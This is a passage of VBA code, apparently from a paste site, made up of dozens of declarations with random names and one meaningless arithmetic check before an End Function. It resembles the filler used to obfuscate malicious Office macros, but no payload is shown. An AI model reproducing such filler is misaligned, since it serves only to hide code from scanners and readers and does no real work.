  456. Dim mshsWSPnnAGDl59752rxh As Integer
  457. Dim hJz95PC1X788OD1m0 As String
  458. Dim EFphtt20B7391P1EKiFC9603 As Boolean
  459. Dim pfNFlNdCtiFCVk6tbjEHN98 As String
  460. Dim Hr31161244mG7huR99oK5U As Long
  461. Dim W99BEAW9p5ydxBYp71858iTkaCmD As Long
  462. Dim kDB2A86Wej1cS7Jk2v6804c8FA7n0672 As Integer
  463. Dim k93417E5XE046m2z0c7HmVXl As Integer
  464. Dim nUFt6e21099K9N1577h7iD93Fh2I93 As String
  465. Dim p61786UBq8IJtFGqgEySLdA4 As Boolean
  466. Dim XBN30842bAgZ2CcEsW1vn4fv5P375o6N As Boolean
  467. Dim m90u9wH4q6167FsBv8QLF6eH As String
  468. Dim en1126Ar1CjPR2382bTTL9 As Long
  469. Dim BO7wB4XxE438clYIN3yyZAtB0m6O48FF0 As Integer
  470. Dim A5fa3T8DQb7961To1AIsBk84 As String
  471. Dim bFhjL5e1uh20R30jT4Wj0521 As Long
  472. Dim B6DAgS1BDH616B3jFWuEhuB1X8850QYIV13 As Boolean
  473. Dim c5V924823373065241W3IE7LysEO8 As Boolean
  474. Dim u797n9OQE3I3c5E3OL37sRhEfj As String
  475. Dim y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o As Boolean
  476. Dim Z75evIDAEobk1C16FuDNi29582364908644Dcx As Long
  477. Dim v66f2a1ECkI8tYtY05ljfx85qA2EzcE8 As Boolean
  478. Dim wr43ABh28hLi26o67J71mayE532889izxW As Long
  479. Dim If7YRF4uWYMZgzO563036982193BYAWFWs As Integer
  480. Dim AMDfD965677N314B4MVtO4DeZA8SBAMCy5sC3Z9 As Integer
  481. Dim en5wL5ljU9yB9QAfTDO899aC2CWFVN6gAnE4578mz As Boolean
  482. Dim YQ1OCBj844ppFnIAz2u83uE3R5nV8t As String
  483. Dim gA4B4v34848419795554260121824646sA As Long
  484. Dim auLLBDloPAF5C9GMRlsshY9ElhZCI60 As Boolean
  485. Dim ZYB9nEEO5Plu2DEC15C5CXG33E11748qF9PDDZK As Integer
  486. Dim cm1F2Ra1437458Z6256dXi5fI0VO As Boolean
  487. Dim Nfu407NEDEDa49153vjitYBlBdr32ND68043 As String
  488. Dim O82r7FHVSrRriEmv2auWo37yG8JF569 As Integer
  489. Dim nAE2hnbNE1FZC73875J1RNz710u12833o2so As String
  490. Dim FG7IC94Mz4w82jB2P876918NE9Lkqx81B As String
  491. Dim XAhD2684zXez7kVEJj7vqT7WVReueM3361B7C8C3l As Integer
  492. Dim IrkjTEarZNyADBDC8F4FEbVfyNA6641fLsI36wR As Long
  493. Dim e54ZQBE481Adcr2Q8K07883pJdDeCxr506 As Boolean
  494. e38v3FtB531rIC1v = 187
  495. y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o = 2000
  496. If e38v3FtB531rIC1v + y21691FIcD7XhlC3G88tsTEQ67bMG61TH8o = 2187 Then
  497. Z75evIDAEobk1C16FuDNi29582364908644Dcx = 100
  498. End If
  499. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement